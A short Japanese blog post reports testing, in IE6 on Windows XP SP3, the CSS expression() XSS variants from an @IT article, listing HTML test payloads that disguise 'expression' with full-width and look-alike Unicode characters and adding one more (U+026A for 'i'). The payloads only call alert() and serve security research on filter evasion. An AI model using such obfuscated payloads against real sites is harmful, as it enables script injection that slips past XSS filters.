CSSのexpression

はせがわさんの記事です。

[柔軟すぎる]IEのCSS解釈で起こるXSS (1/3):教科書に載らないWebアプリケーションセキュリティ(3) - @IT

記事中では、(5) 全角文字、(6) 特定のUnicode文字、の2つは、Windows XP SP3のIE6では動作しなくなっていると書かれていますが、うちの会社と自宅のIE6*1ではなぜかいまだに動いてます。

試したのは下のHTML。HTTPヘッダでUTF-8を指定しています。

<!-- (1) 通常の表記 -->
<p style="x:expression(alert(/1/))">1</p>

<!-- (5) 全角文字 -->
<p style="x:exp[0xEF][0xBD][0x92]ession(alert(/5-1/))">5-1</p>
<p style="x:exp&#xFF52;ession(alert(/5-2/))">5-2</p>

<!-- (6) 特定のUnicode文字 -->
<p style="x:exp[0xCA][0x80]ession(alert(/6-1/))">6-1</p>
<p style="x:exp&#x0280;ession(alert(/6-2/))">6-2</p>
<p style="x:exp\0280 ession(alert(/6-3/))">6-3</p>

これをIE6で表示すると、全てalertが動きます。

Windows Updateしてればいいんだと思っていたんですが、それだけじゃダメなんでしょうかね。それとも、何かの設定を自分で変えてしまったのか…。

(6)特定のUnicode文字

<div style="left:expRessioN( alert('xss') )">
(R は U+0280、N は U+0274 または U+207F が利用可能)

私が知っているのを1つ付け加えると、U+026Aは「i」と解釈されます。

<p style="x:express&#x026A;on(alert(/6-4/))">6-4</p>

*1:OSはXP SP3。IEのバージョン表記は、6.0.2900.5512.xpsp_sp3_gdr.090206-1234